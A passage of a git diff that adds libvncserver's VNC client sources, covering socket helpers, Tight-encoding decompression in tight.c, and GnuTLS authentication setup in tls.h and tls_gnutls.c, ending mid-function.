sizeof(addr); + + if(getsockname(sock, &addr, &addrlen) != 0) { + rfbClientErr("Setting socket QoS failed while getting socket address: %s\n",strerror(errno)); + return FALSE; + } + + switch(addr.sa_family) + { +#if defined LIBVNCSERVER_IPv6 && defined IPV6_TCLASS + case AF_INET6: + level = IPPROTO_IPV6; + cmd = IPV6_TCLASS; + break; +#endif + case AF_INET: + level = IPPROTO_IP; + cmd = IP_TOS; + break; + default: + rfbClientErr("Setting socket QoS failed: Not bound to IP address"); + return FALSE; + } + + if(setsockopt(sock, level, cmd, (void*)&dscp, sizeof(dscp)) != 0) { + rfbClientErr("Setting socket QoS failed: %s\n", strerror(errno)); + return FALSE; + } + + return TRUE; +#endif +} + + + +/* + * StringToIPAddr - convert a host string to an IP address. + */ + +rfbBool +StringToIPAddr(const char *str, unsigned int *addr) +{ + struct hostent *hp; + + if (strcmp(str,"") == 0) { + *addr = htonl(INADDR_LOOPBACK); /* local */ + return TRUE; + } + + *addr = inet_addr(str); + + if (*addr != -1) + return TRUE; + + if (!initSockets()) + return -1; + + hp = gethostbyname(str); + + if (hp) { + *addr = *(unsigned int *)hp->h_addr; + return TRUE; + } + + return FALSE; +} + + +/* + * Test if the other end of a socket is on the same machine. + */ + +rfbBool +SameMachine(int sock) +{ + struct sockaddr_in peeraddr, myaddr; + socklen_t addrlen = sizeof(struct sockaddr_in); + + getpeername(sock, (struct sockaddr *)&peeraddr, &addrlen); + getsockname(sock, (struct sockaddr *)&myaddr, &addrlen); + + return (peeraddr.sin_addr.s_addr == myaddr.sin_addr.s_addr); +} + + +/* + * Print out the contents of a packet for debugging. + */ + +void +PrintInHex(char *buf, int len) +{ + int i, j; + char c, str[17]; + + str[16] = 0; + + rfbClientLog("ReadExact: "); + + for (i = 0; i < len; i++) + { + if ((i % 16 == 0) && (i != 0)) { + rfbClientLog(" "); + } + c = buf[i]; + str[i % 16] = (((c > 31) && (c < 127)) ? c : '.'); + rfbClientLog("%02x ",(unsigned char)c); + if ((i % 4) == 3) + rfbClientLog(" "); + if ((i % 16) == 15) + { + rfbClientLog("%s\n",str); + } + } + if ((i % 16) != 0) + { + for (j = i % 16; j < 16; j++) + { + rfbClientLog(" "); + if ((j % 4) == 3) rfbClientLog(" "); + } + str[i % 16] = 0; + rfbClientLog("%s\n",str); + } + + fflush(stderr); +} + +int WaitForMessage(rfbClient* client,unsigned int usecs) +{ + fd_set fds; + struct timeval timeout; + int num; + + if (client->serverPort==-1) + /* playing back vncrec file */ + return 1; + + timeout.tv_sec=(usecs/1000000); + timeout.tv_usec=(usecs%1000000); + + FD_ZERO(&fds); + FD_SET(client->sock,&fds); + + num=select(client->sock+1, &fds, NULL, NULL, &timeout); + if(num<0) { +#ifdef WIN32 + errno=WSAGetLastError(); +#endif + rfbClientLog("Waiting for message failed: %d (%s)\n",errno,strerror(errno)); + } + + return num; +} + + diff --git a/3rdparty/libvncserver/libvncclient/tight.c b/3rdparty/libvncserver/libvncclient/tight.c new file mode 100644 index 0000000..df01812 --- /dev/null +++ b/3rdparty/libvncserver/libvncclient/tight.c @@ -0,0 +1,664 @@ +/* + * Copyright (C) 2017 D. R. Commander. All Rights Reserved. + * Copyright (C) 2004-2008 Sun Microsystems, Inc. All Rights Reserved. + * Copyright (C) 2004 Landmark Graphics Corporation. All Rights Reserved. + * Copyright (C) 2000, 2001 Const Kaplinsky. All Rights Reserved. + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +#ifdef LIBVNCSERVER_HAVE_LIBZ +#ifdef LIBVNCSERVER_HAVE_LIBJPEG + +#include "turbojpeg.h" + +/* + * tight.c - handle ``tight'' encoding. + * + * This file shouldn't be compiled directly. It is included multiple + * times by rfbproto.c, each time with a different definition of the + * macro BPP. For each value of BPP, this file defines a function + * which handles a tight-encoded rectangle with BPP bits per pixel. + * + */ + +#define TIGHT_MIN_TO_COMPRESS 12 + +#define CARDBPP CONCAT3E(uint,BPP,_t) +#define filterPtrBPP CONCAT2E(filterPtr,BPP) + +#define HandleTightBPP CONCAT2E(HandleTight,BPP) +#define InitFilterCopyBPP CONCAT2E(InitFilterCopy,BPP) +#define InitFilterPaletteBPP CONCAT2E(InitFilterPalette,BPP) +#define InitFilterGradientBPP CONCAT2E(InitFilterGradient,BPP) +#define FilterCopyBPP CONCAT2E(FilterCopy,BPP) +#define FilterPaletteBPP CONCAT2E(FilterPalette,BPP) +#define FilterGradientBPP CONCAT2E(FilterGradient,BPP) + +#if BPP != 8 +#define DecompressJpegRectBPP CONCAT2E(DecompressJpegRect,BPP) +#endif + +#ifndef RGB_TO_PIXEL + +#define RGB_TO_PIXEL(bpp,r,g,b) \ + (((CARD##bpp)(r) & client->format.redMax) << client->format.redShift | \ + ((CARD##bpp)(g) & client->format.greenMax) << client->format.greenShift | \ + ((CARD##bpp)(b) & client->format.blueMax) << client->format.blueShift) + +#define RGB24_TO_PIXEL(bpp,r,g,b) \ + ((((CARD##bpp)(r) & 0xFF) * client->format.redMax + 127) / 255 \ + << client->format.redShift | \ + (((CARD##bpp)(g) & 0xFF) * client->format.greenMax + 127) / 255 \ + << client->format.greenShift | \ + (((CARD##bpp)(b) & 0xFF) * client->format.blueMax + 127) / 255 \ + << client->format.blueShift) + +#define RGB24_TO_PIXEL32(r,g,b) \ + (((uint32_t)(r) & 0xFF) << client->format.redShift | \ + ((uint32_t)(g) & 0xFF) << client->format.greenShift | \ + ((uint32_t)(b) & 0xFF) << client->format.blueShift) + +#endif + +/* Type declarations */ + +typedef void (*filterPtrBPP)(rfbClient* client, int, int, int); + +/* Prototypes */ + +static int InitFilterCopyBPP (rfbClient* client, int rw, int rh); +static int InitFilterPaletteBPP (rfbClient* client, int rw, int rh); +static int InitFilterGradientBPP (rfbClient* client, int rw, int rh); +static void FilterCopyBPP (rfbClient* client, int srcx, int srcy, int numRows); +static void FilterPaletteBPP (rfbClient* client, int srcx, int srcy, int numRows); +static void FilterGradientBPP (rfbClient* client, int srcx, int srcy, int numRows); + +#if BPP != 8 +static rfbBool DecompressJpegRectBPP(rfbClient* client, int x, int y, int w, int h); +#endif + +/* Definitions */ + +static rfbBool +HandleTightBPP (rfbClient* client, int rx, int ry, int rw, int rh) +{ + CARDBPP fill_colour; + uint8_t comp_ctl; + uint8_t filter_id; + filterPtrBPP filterFn; + z_streamp zs; + int err, stream_id, compressedLen, bitsPixel; + int bufferSize, rowSize, numRows, portionLen, rowsProcessed, extraBytes; + rfbBool readUncompressed = FALSE; + + if (client->frameBuffer == NULL) + return FALSE; + + if (rx + rw > client->width || ry + rh > client->height) { + rfbClientLog("Rect out of bounds: %dx%d at (%d, %d)\n", rx, ry, rw, rh); + return FALSE; + } + + if (!ReadFromRFBServer(client, (char *)&comp_ctl, 1)) + return FALSE; + + /* Flush zlib streams if we are told by the server to do so. */ + for (stream_id = 0; stream_id < 4; stream_id++) { + if ((comp_ctl & 1) && client->zlibStreamActive[stream_id]) { + if (inflateEnd (&client->zlibStream[stream_id]) != Z_OK && + client->zlibStream[stream_id].msg != NULL) + rfbClientLog("inflateEnd: %s\n", client->zlibStream[stream_id].msg); + client->zlibStreamActive[stream_id] = FALSE; + } + comp_ctl >>= 1; + } + + if ((comp_ctl & rfbTightNoZlib) == rfbTightNoZlib) { + comp_ctl &= ~(rfbTightNoZlib); + readUncompressed = TRUE; + } + + /* Handle solid rectangles. */ + if (comp_ctl == rfbTightFill) { +#if BPP == 32 + if (client->format.depth == 24 && client->format.redMax == 0xFF && + client->format.greenMax == 0xFF && client->format.blueMax == 0xFF) { + if (!ReadFromRFBServer(client, client->buffer, 3)) + return FALSE; + fill_colour = RGB24_TO_PIXEL32(client->buffer[0], client->buffer[1], client->buffer[2]); + } else { + if (!ReadFromRFBServer(client, (char*)&fill_colour, sizeof(fill_colour))) + return FALSE; + } +#else + if (!ReadFromRFBServer(client, (char*)&fill_colour, sizeof(fill_colour))) + return FALSE; +#endif + + client->GotFillRect(client, rx, ry, rw, rh, fill_colour); + + return TRUE; + } + +#if BPP == 8 + if (comp_ctl == rfbTightJpeg) { + rfbClientLog("Tight encoding: JPEG is not supported in 8 bpp mode.\n"); + return FALSE; + } +#else + if (comp_ctl == rfbTightJpeg) { + return DecompressJpegRectBPP(client, rx, ry, rw, rh); + } +#endif + + /* Quit on unsupported subencoding value. */ + if (comp_ctl > rfbTightMaxSubencoding) { + rfbClientLog("Tight encoding: bad subencoding value received.\n"); + return FALSE; + } + + /* + * Here primary compression mode handling begins. + * Data was processed with optional filter + zlib compression. + */ + + /* First, we should identify a filter to use. */ + if ((comp_ctl & rfbTightExplicitFilter) != 0) { + if (!ReadFromRFBServer(client, (char*)&filter_id, 1)) + return FALSE; + + switch (filter_id) { + case rfbTightFilterCopy: + filterFn = FilterCopyBPP; + bitsPixel = InitFilterCopyBPP(client, rw, rh); + break; + case rfbTightFilterPalette: + filterFn = FilterPaletteBPP; + bitsPixel = InitFilterPaletteBPP(client, rw, rh); + break; + case rfbTightFilterGradient: + filterFn = FilterGradientBPP; + bitsPixel = InitFilterGradientBPP(client, rw, rh); + break; + default: + rfbClientLog("Tight encoding: unknown filter code received.\n"); + return FALSE; + } + } else { + filterFn = FilterCopyBPP; + bitsPixel = InitFilterCopyBPP(client, rw, rh); + } + if (bitsPixel == 0) { + rfbClientLog("Tight encoding: error receiving palette.\n"); + return FALSE; + } + + /* Determine if the data should be decompressed or just copied. */ + rowSize = (rw * bitsPixel + 7) / 8; + if (rh * rowSize < TIGHT_MIN_TO_COMPRESS) { + if (!ReadFromRFBServer(client, (char*)client->buffer, rh * rowSize)) + return FALSE; + + filterFn(client, rx, ry, rh); + + return TRUE; + } + + /* Read the length (1..3 bytes) of compressed data following. */ + compressedLen = (int)ReadCompactLen(client); + if (compressedLen <= 0) { + rfbClientLog("Incorrect data received from the server.\n"); + return FALSE; + } + if (readUncompressed) { + if (!ReadFromRFBServer(client, (char*)client->buffer, compressedLen)) + return FALSE; + + filterFn(client, rx, ry, rh); + + return TRUE; + } + + /* Now let's initialize compression stream if needed. */ + stream_id = comp_ctl & 0x03; + zs = &client->zlibStream[stream_id]; + if (!client->zlibStreamActive[stream_id]) { + zs->zalloc = Z_NULL; + zs->zfree = Z_NULL; + zs->opaque = Z_NULL; + err = inflateInit(zs); + if (err != Z_OK) { + if (zs->msg != NULL) + rfbClientLog("InflateInit error: %s.\n", zs->msg); + return FALSE; + } + client->zlibStreamActive[stream_id] = TRUE; + } + + /* Read, decode and draw actual pixel data in a loop. */ + + bufferSize = RFB_BUFFER_SIZE * bitsPixel / (bitsPixel + BPP) & 0xFFFFFFFC; + if (rowSize > bufferSize) { + /* Should be impossible when RFB_BUFFER_SIZE >= 16384 */ + rfbClientLog("Internal error: incorrect buffer size.\n"); + return FALSE; + } + + rowsProcessed = 0; + extraBytes = 0; + + while (compressedLen > 0) { + if (compressedLen > ZLIB_BUFFER_SIZE) + portionLen = ZLIB_BUFFER_SIZE; + else + portionLen = compressedLen; + + if (!ReadFromRFBServer(client, (char*)client->zlib_buffer, portionLen)) + return FALSE; + + compressedLen -= portionLen; + + zs->next_in = (Bytef *)client->zlib_buffer; + zs->avail_in = portionLen; + + do { + zs->next_out = (Bytef *)&client->buffer[extraBytes]; + zs->avail_out = bufferSize - extraBytes; + + err = inflate(zs, Z_SYNC_FLUSH); + if (err == Z_BUF_ERROR) /* Input exhausted -- no problem. */ + break; + if (err != Z_OK && err != Z_STREAM_END) { + if (zs->msg != NULL) { + rfbClientLog("Inflate error: %s.\n", zs->msg); + } else { + rfbClientLog("Inflate error: %d.\n", err); + } + return FALSE; + } + + numRows = (bufferSize - zs->avail_out) / rowSize; + + filterFn(client, rx, ry+rowsProcessed, numRows); + + extraBytes = bufferSize - zs->avail_out - numRows * rowSize; + if (extraBytes > 0) + memcpy(client->buffer, &client->buffer[numRows * rowSize], extraBytes); + + rowsProcessed += numRows; + } + while (zs->avail_out == 0); + } + + if (rowsProcessed != rh) { + rfbClientLog("Incorrect number of scan lines after decompression.\n"); + return FALSE; + } + + return TRUE; +} + +/*---------------------------------------------------------------------------- + * + * Filter stuff. + * + */ + +static int +InitFilterCopyBPP (rfbClient* client, int rw, int rh) +{ + client->rectWidth = rw; + +#if BPP == 32 + if (client->format.depth == 24 && client->format.redMax == 0xFF && + client->format.greenMax == 0xFF && client->format.blueMax == 0xFF) { + client->cutZeros = TRUE; + return 24; + } else { + client->cutZeros = FALSE; + } +#endif + + return BPP; +} + +static void +FilterCopyBPP (rfbClient* client, int srcx, int srcy, int numRows) +{ + CARDBPP *dst = + (CARDBPP *)&client->frameBuffer[(srcy * client->width + srcx) * BPP / 8]; + int y; + +#if BPP == 32 + int x; + + if (client->cutZeros) { + for (y = 0; y < numRows; y++) { + for (x = 0; x < client->rectWidth; x++) { + dst[y*client->width+x] = + RGB24_TO_PIXEL32(client->buffer[(y*client->rectWidth+x)*3], + client->buffer[(y*client->rectWidth+x)*3+1], + client->buffer[(y*client->rectWidth+x)*3+2]); + } + } + return; + } +#endif + + for (y = 0; y < numRows; y++) + memcpy (&dst[y*client->width], &client->buffer[y*client->rectWidth], + client->rectWidth * (BPP / 8)); +} + +static int +InitFilterGradientBPP (rfbClient* client, int rw, int rh) +{ + int bits; + + bits = InitFilterCopyBPP(client, rw, rh); + if (client->cutZeros) + memset(client->tightPrevRow, 0, rw * 3); + else + memset(client->tightPrevRow, 0, rw * 3 * sizeof(uint16_t)); + + return bits; +} + +#if BPP == 32 + +static void +FilterGradient24 (rfbClient* client, int srcx, int srcy, int numRows) +{ + CARDBPP *dst = + (CARDBPP *)&client->frameBuffer[(srcy * client->width + srcx) * BPP / 8]; + int x, y, c; + uint8_t thisRow[2048*3]; + uint8_t pix[3]; + int est[3]; + + for (y = 0; y < numRows; y++) { + + /* First pixel in a row */ + for (c = 0; c < 3; c++) { + pix[c] = client->tightPrevRow[c] + client->buffer[y*client->rectWidth*3+c]; + thisRow[c] = pix[c]; + } + dst[y*client->width] = RGB24_TO_PIXEL32(pix[0], pix[1], pix[2]); + + /* Remaining pixels of a row */ + for (x = 1; x < client->rectWidth; x++) { + for (c = 0; c < 3; c++) { + est[c] = (int)client->tightPrevRow[x*3+c] + (int)pix[c] - + (int)client->tightPrevRow[(x-1)*3+c]; + if (est[c] > 0xFF) { + est[c] = 0xFF; + } else if (est[c] < 0x00) { + est[c] = 0x00; + } + pix[c] = (uint8_t)est[c] + client->buffer[(y*client->rectWidth+x)*3+c]; + thisRow[x*3+c] = pix[c]; + } + dst[y*client->width+x] = RGB24_TO_PIXEL32(pix[0], pix[1], pix[2]); + } + + memcpy(client->tightPrevRow, thisRow, client->rectWidth * 3); + } +} + +#endif + +static void +FilterGradientBPP (rfbClient* client, int srcx, int srcy, int numRows) +{ + CARDBPP *dst = + (CARDBPP *)&client->frameBuffer[(srcy * client->width + srcx) * BPP / 8]; + int x, y, c; + CARDBPP *src = (CARDBPP *)client->buffer; + uint16_t *thatRow = (uint16_t *)client->tightPrevRow; + uint16_t thisRow[2048*3]; + uint16_t pix[3]; + uint16_t max[3]; + int shift[3]; + int est[3]; + +#if BPP == 32 + if (client->cutZeros) { + FilterGradient24(client, srcx, srcy, numRows); + return; + } +#endif + + max[0] = client->format.redMax; + max[1] = client->format.greenMax; + max[2] = client->format.blueMax; + + shift[0] = client->format.redShift; + shift[1] = client->format.greenShift; + shift[2] = client->format.blueShift; + + for (y = 0; y < numRows; y++) { + + /* First pixel in a row */ + for (c = 0; c < 3; c++) { + pix[c] = (uint16_t)(((src[y*client->rectWidth] >> shift[c]) + thatRow[c]) & max[c]); + thisRow[c] = pix[c]; + } + dst[y*client->width] = RGB_TO_PIXEL(BPP, pix[0], pix[1], pix[2]); + + /* Remaining pixels of a row */ + for (x = 1; x < client->rectWidth; x++) { + for (c = 0; c < 3; c++) { + est[c] = (int)thatRow[x*3+c] + (int)pix[c] - (int)thatRow[(x-1)*3+c]; + if (est[c] > (int)max[c]) { + est[c] = (int)max[c]; + } else if (est[c] < 0) { + est[c] = 0; + } + pix[c] = (uint16_t)(((src[y*client->rectWidth+x] >> shift[c]) + est[c]) & max[c]); + thisRow[x*3+c] = pix[c]; + } + dst[y*client->width+x] = RGB_TO_PIXEL(BPP, pix[0], pix[1], pix[2]); + } + memcpy(thatRow, thisRow, client->rectWidth * 3 * sizeof(uint16_t)); + } +} + +static int +InitFilterPaletteBPP (rfbClient* client, int rw, int rh) +{ + uint8_t numColors; +#if BPP == 32 + int i; + CARDBPP *palette = (CARDBPP *)client->tightPalette; +#endif + + client->rectWidth = rw; + + if (!ReadFromRFBServer(client, (char*)&numColors, 1)) + return 0; + + client->rectColors = (int)numColors; + if (++client->rectColors < 2) + return 0; + +#if BPP == 32 + if (client->format.depth == 24 && client->format.redMax == 0xFF && + client->format.greenMax == 0xFF && client->format.blueMax == 0xFF) { + if (!ReadFromRFBServer(client, (char*)&client->tightPalette, client->rectColors * 3)) + return 0; + for (i = client->rectColors - 1; i >= 0; i--) { + palette[i] = RGB24_TO_PIXEL32(client->tightPalette[i*3], + client->tightPalette[i*3+1], + client->tightPalette[i*3+2]); + } + return (client->rectColors == 2) ? 1 : 8; + } +#endif + + if (!ReadFromRFBServer(client, (char*)&client->tightPalette, client->rectColors * (BPP / 8))) + return 0; + + return (client->rectColors == 2) ? 1 : 8; +} + +static void +FilterPaletteBPP (rfbClient* client, int srcx, int srcy, int numRows) +{ + int x, y, b, w; + CARDBPP *dst = + (CARDBPP *)&client->frameBuffer[(srcy * client->width + srcx) * BPP / 8]; + uint8_t *src = (uint8_t *)client->buffer; + CARDBPP *palette = (CARDBPP *)client->tightPalette; + + if (client->rectColors == 2) { + w = (client->rectWidth + 7) / 8; + for (y = 0; y < numRows; y++) { + for (x = 0; x < client->rectWidth / 8; x++) { + for (b = 7; b >= 0; b--) + dst[y*client->width+x*8+7-b] = palette[src[y*w+x] >> b & 1]; + } + for (b = 7; b >= 8 - client->rectWidth % 8; b--) { + dst[y*client->width+x*8+7-b] = palette[src[y*w+x] >> b & 1]; + } + } + } else { + for (y = 0; y < numRows; y++) + for (x = 0; x < client->rectWidth; x++) + dst[y*client->width+x] = palette[(int)src[y*client->rectWidth+x]]; + } +} + +#if BPP != 8 + +/*---------------------------------------------------------------------------- + * + * JPEG decompression. + * + */ + +static rfbBool +DecompressJpegRectBPP(rfbClient* client, int x, int y, int w, int h) +{ + int compressedLen; + uint8_t *compressedData, *dst; + int pixelSize, pitch, flags = 0; + + compressedLen = (int)ReadCompactLen(client); + if (compressedLen <= 0) { + rfbClientLog("Incorrect data received from the server.\n"); + return FALSE; + } + + compressedData = malloc(compressedLen); + if (compressedData == NULL) { + rfbClientLog("Memory allocation error.\n"); + return FALSE; + } + + if (!ReadFromRFBServer(client, (char*)compressedData, compressedLen)) { + free(compressedData); + return FALSE; + } + + if(client->GotJpeg != NULL) + return client->GotJpeg(client, compressedData, compressedLen, x, y, w, h); + + if (!client->tjhnd) { + if ((client->tjhnd = tjInitDecompress()) == NULL) { + rfbClientLog("TurboJPEG error: %s\n", tjGetErrorStr()); + free(compressedData); + return FALSE; + } + } + +#if BPP == 16 + flags = 0; + pixelSize = 3; + pitch = w * pixelSize; + dst = (uint8_t *)client->buffer; +#else + if (client->format.bigEndian) flags |= TJ_ALPHAFIRST; + if (client->format.redShift == 16 && client->format.blueShift == 0) + flags |= TJ_BGR; + if (client->format.bigEndian) flags ^= TJ_BGR; + pixelSize = BPP / 8; + pitch = client->width * pixelSize; + dst = &client->frameBuffer[y * pitch + x * pixelSize]; +#endif + + if (tjDecompress(client->tjhnd, compressedData, (unsigned long)compressedLen, + dst, w, pitch, h, pixelSize, flags)==-1) { + rfbClientLog("TurboJPEG error: %s\n", tjGetErrorStr()); + free(compressedData); + return FALSE; + } + + free(compressedData); + +#if BPP == 16 + pixelSize = BPP / 8; + pitch = client->width * pixelSize; + dst = &client->frameBuffer[y * pitch + x * pixelSize]; + { + CARDBPP *dst16=(CARDBPP *)dst, *dst2; + char *src = client->buffer; + int i, j; + + for (j = 0; j < h; j++) { + for (i = 0, dst2 = dst16; i < w; i++, dst2++, src += 3) { + *dst2 = RGB24_TO_PIXEL(BPP, src[0], src[1], src[2]); + } + dst16 += client->width; + } + } +#endif + + return TRUE; +} + +#else + +static long +ReadCompactLen (rfbClient* client) +{ + long len; + uint8_t b; + + if (!ReadFromRFBServer(client, (char *)&b, 1)) + return -1; + len = (int)b & 0x7F; + if (b & 0x80) { + if (!ReadFromRFBServer(client, (char *)&b, 1)) + return -1; + len |= ((int)b & 0x7F) << 7; + if (b & 0x80) { + if (!ReadFromRFBServer(client, (char *)&b, 1)) + return -1; + len |= ((int)b & 0xFF) << 14; + } + } + return len; +} + +#endif + +#undef CARDBPP + +/* LIBVNCSERVER_HAVE_LIBZ and LIBVNCSERVER_HAVE_LIBJPEG */ +#endif +#endif + diff --git a/3rdparty/libvncserver/libvncclient/tls.h b/3rdparty/libvncserver/libvncclient/tls.h new file mode 100644 index 0000000..ffcfdeb --- /dev/null +++ b/3rdparty/libvncserver/libvncclient/tls.h @@ -0,0 +1,56 @@ +#ifndef TLS_H +#define TLS_H + +/* + * Copyright (C) 2009 Vic Lee. + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +/* Handle Anonymous TLS Authentication (18) with the server. + * After authentication, client->tlsSession will be set. + */ +rfbBool HandleAnonTLSAuth(rfbClient* client); + +/* Handle VeNCrypt Authentication (19) with the server. + * The callback function GetX509Credential will be called. + * After authentication, client->tlsSession will be set. + */ +rfbBool HandleVeNCryptAuth(rfbClient* client); + +/* Read desired bytes from TLS session. + * It's a wrapper function over gnutls_record_recv() and return values + * are same as read(), that is, >0 for actual bytes read, 0 for EOF, + * or EAGAIN, EINTR. + * This should be a non-blocking call. Blocking is handled in sockets.c. + */ +int ReadFromTLS(rfbClient* client, char *out, unsigned int n); + +/* Write desired bytes to TLS session. + * It's a wrapper function over gnutls_record_send() and it will be + * blocking call, until all bytes are written or error returned. + */ +int WriteToTLS(rfbClient* client, const char *buf, unsigned int n); + +/* Free TLS resources */ +void FreeTLS(rfbClient* client); + +#ifdef LIBVNCSERVER_HAVE_SASL +/* Get the number of bits in the current cipher */ +int GetTLSCipherBits(rfbClient* client); +#endif /* LIBVNCSERVER_HAVE_SASL */ + +#endif /* TLS_H */ diff --git a/3rdparty/libvncserver/libvncclient/tls_gnutls.c b/3rdparty/libvncserver/libvncclient/tls_gnutls.c new file mode 100644 index 0000000..ec3c450 --- /dev/null +++ b/3rdparty/libvncserver/libvncclient/tls_gnutls.c @@ -0,0 +1,651 @@ +/* + * Copyright (C) 2009 Vic Lee. + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +#include +#include +#include +#include +#ifdef WIN32 +#undef SOCKET +#include /* for Sleep() */ +#define sleep(X) Sleep(1000*X) /* MinGW32 has no sleep() */ +#include +#define read(sock,buf,len) recv(sock,buf,len,0) +#define write(sock,buf,len) send(sock,buf,len,0) +#endif +#include "tls.h" + + +static const char *rfbTLSPriority = "NORMAL:+DHE-DSS:+RSA:+DHE-RSA:+SRP"; +static const char *rfbAnonTLSPriority= "NORMAL:+ANON-DH"; + +#define DH_BITS 1024 +static gnutls_dh_params_t rfbDHParams; + +static rfbBool rfbTLSInitialized = FALSE; + +static int +verify_certificate_callback (gnutls_session_t session) +{ + unsigned int status; + const gnutls_datum_t *cert_list; + unsigned int cert_list_size; + int ret; + gnutls_x509_crt_t cert; + rfbClient *sptr; + char *hostname; + + sptr = (rfbClient *)gnutls_session_get_ptr(session); + if (!sptr) { + rfbClientLog("Failed to validate certificate - missing client data\n"); + return GNUTLS_E_CERTIFICATE_ERROR; + } + + hostname = sptr->serverHost; + if (!hostname) { + rfbClientLog("No server hostname found for client\n"); + return GNUTLS_E_CERTIFICATE_ERROR; + } + + /* This verification function uses the trusted CAs in the credentials + * structure. So you must have installed one or more CA certificates. + */ + ret = gnutls_certificate_verify_peers2 (session, &status); + if (ret < 0) + { + rfbClientLog ("Certificate validation call failed\n"); + return GNUTLS_E_CERTIFICATE_ERROR; + } + + if (status & GNUTLS_CERT_INVALID) + rfbClientLog("The certificate is not trusted.\n"); + + if (status & GNUTLS_CERT_SIGNER_NOT_FOUND) + rfbClientLog("The certificate hasn't got a known issuer.\n"); + + if (status & GNUTLS_CERT_REVOKED) + rfbClientLog("The certificate has been revoked.\n"); + + if (status & GNUTLS_CERT_EXPIRED) + rfbClientLog("The certificate has expired\n"); + + if (status & GNUTLS_CERT_NOT_ACTIVATED) + rfbClientLog("The certificate is not yet activated\n"); + + if (status) + return GNUTLS_E_CERTIFICATE_ERROR; + + /* Up to here the process is the same for X.509 certificates and + * OpenPGP keys. From now on X.509 certificates are assumed. This can + * be easily extended to work with openpgp keys as well. + */ + if (gnutls_certificate_type_get (session) != GNUTLS_CRT_X509) { + rfbClientLog("The certificate was not X509\n"); + return GNUTLS_E_CERTIFICATE_ERROR; + } + + if (gnutls_x509_crt_init (&cert) < 0) + { + rfbClientLog("Error initialising certificate structure\n"); + return GNUTLS_E_CERTIFICATE_ERROR; + } + + cert_list = gnutls_certificate_get_peers (session, &cert_list_size); + if (cert_list == NULL) + { + rfbClientLog("No certificate was found!\n"); + return GNUTLS_E_CERTIFICATE_ERROR; + } + + if (gnutls_x509_crt_import (cert, &cert_list[0], GNUTLS_X509_FMT_DER) < 0) + { + rfbClientLog("Error parsing certificate\n"); + return GNUTLS_E_CERTIFICATE_ERROR; + } + + if (!gnutls_x509_crt_check_hostname (cert, hostname)) + { + rfbClientLog("The certificate's owner does not match hostname '%s'\n", + hostname); + return GNUTLS_E_CERTIFICATE_ERROR; + } + + gnutls_x509_crt_deinit (cert); + + /* notify gnutls to continue handshake normally */ + return 0; +} + +static rfbBool +InitializeTLS(void) +{ + int ret; + + if (rfbTLSInitialized) return TRUE; + if ((ret = gnutls_global_init()) < 0 || + (ret = gnutls_dh_params_init(&rfbDHParams)) < 0 || + (ret = gnutls_dh_params_generate2(rfbDHParams, DH_BITS)) < 0) + { + rfbClientLog("Failed to initialized GnuTLS: %s.\n", gnutls_strerror(ret)); + return FALSE; + } + rfbClientLog("GnuTLS version %s initialized.\n", gnutls_check_version(NULL)); + rfbTLSInitialized = TRUE; + return TRUE; +} + +/* + * On Windows, translate WSAGetLastError() to errno values as GNU TLS does it + * internally too. This is necessary because send() and recv() on Windows + * don't set errno when they fail but GNUTLS expects a proper errno value. + * + * Use gnutls_transport_set_global_errno() like the GNU TLS documentation + * suggests to avoid problems with different errno variables when GNU TLS and + * libvncclient are linked to different versions of msvcrt.dll. + */ +#ifdef WIN32 +static void WSAtoTLSErrno(gnutls_session_t* session) +{ + switch(WSAGetLastError()) { +#if (GNUTLS_VERSION_NUMBER >= 0x029901) + case WSAEWOULDBLOCK: + gnutls_transport_set_errno(session, EAGAIN); + break; + case WSAEINTR: + gnutls_transport_set_errno(session, EINTR); + break; + default: + gnutls_transport_set_errno(session, EIO); + break; +#else + case WSAEWOULDBLOCK: + gnutls_transport_set_global_errno(EAGAIN); + break; + case WSAEINTR: + gnutls_transport_set_global_errno(EINTR); + break; + default: + gnutls_transport_set_global_errno(EIO); + break; +#endif + } +} +#endif + +static ssize_t +PushTLS(gnutls_transport_ptr_t transport, const void *data, size_t len) +{ + rfbClient *client = (rfbClient*)transport; + int ret; + + while (1) + { + ret = write(client->sock, data, len); + if (ret < 0) + { +#ifdef WIN32 + WSAtoTLSErrno((gnutls_session_t*)&client->tlsSession); +#endif + if (errno == EINTR) continue; + return -1; + } + return ret; + } +} + + +static ssize_t +PullTLS(gnutls_transport_ptr_t transport, void *data, size_t len) +{ + rfbClient *client = (rfbClient*)transport; + int ret; + + while (1) + { + ret = read(client->sock, data, len); + if (ret < 0) + { +#ifdef WIN32 + WSAtoTLSErrno((gnutls_session_t*)&client->tlsSession); +#endif + if (errno == EINTR) continue; + return -1; + } + return ret; + } +} + +static rfbBool +InitializeTLSSession(rfbClient* client, rfbBool anonTLS) +{ + int ret; + const char *p; + + if (client->tlsSession) return TRUE; + + if ((ret = gnutls_init((gnutls_session_t*)&client->tlsSession, GNUTLS_CLIENT)) < 0) + { + rfbClientLog("Failed to initialized TLS session: %s.\n", gnutls_strerror(ret)); + return FALSE; + } + + if ((ret = gnutls_priority_set_direct((gnutls_session_t)client->tlsSession, + anonTLS ? rfbAnonTLSPriority : rfbTLSPriority, &p)) < 0) + { + 